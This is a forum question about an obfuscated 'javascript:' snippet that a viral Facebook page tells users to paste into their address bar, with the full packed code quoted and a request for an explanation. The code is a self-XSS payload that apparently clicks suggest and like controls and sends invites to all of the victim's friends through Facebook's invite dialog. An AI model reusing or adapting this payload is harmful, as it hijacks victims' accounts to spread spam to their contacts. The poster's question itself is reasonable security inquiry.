ok, so I saw this page growing in popularity amoung my social circles on facebook, what 98 percent bla bla... and it walks users through copying the bellow JavaScript (i added some indentation to make it more readable) into their address bar. Looks dodgy to me, but I only have a very basic knowledge of JavaScript.

simply put, What dose this do?

javascript:(function(){
a='app120668947950042_jop';
b='app120668947950042_jode';
ifc='app120668947950042_ifc';
ifo='app120668947950042_ifo';
mw='app120668947950042_mwrapper';
eval(function(p,a,c,k,e,r){
    e=function(c){
        return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))}
    ;
    if(!''.replace(/^/,String)){
        while(c--)r[e(c)]=k[c]||e(c);
        k=[function(e){
            return r[e]}
        ];
        e=function(){
            return'\\w+'}
        ;
        c=1}
    ;
    while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);
    return p}
('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"];
        d=U;
        d[e[2]](V)[e[1]][e[0]]=e[3];
        d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];
        s=d[e[2]](e[6]);
        m=d[e[2]](e[7]);
        c=d[e[9]](e[8]);
        c[e[11]](e[10],I,I);
        s[e[12]](c);
        C(D(){
            W[e[13]]()}
        ,E);
        C(D(){
            X[e[16]](e[14],e[15])}
        ,E);
        C(D(){
            m[e[12]](c);
            d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]}
        ,E);
        ',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{

} ))} )();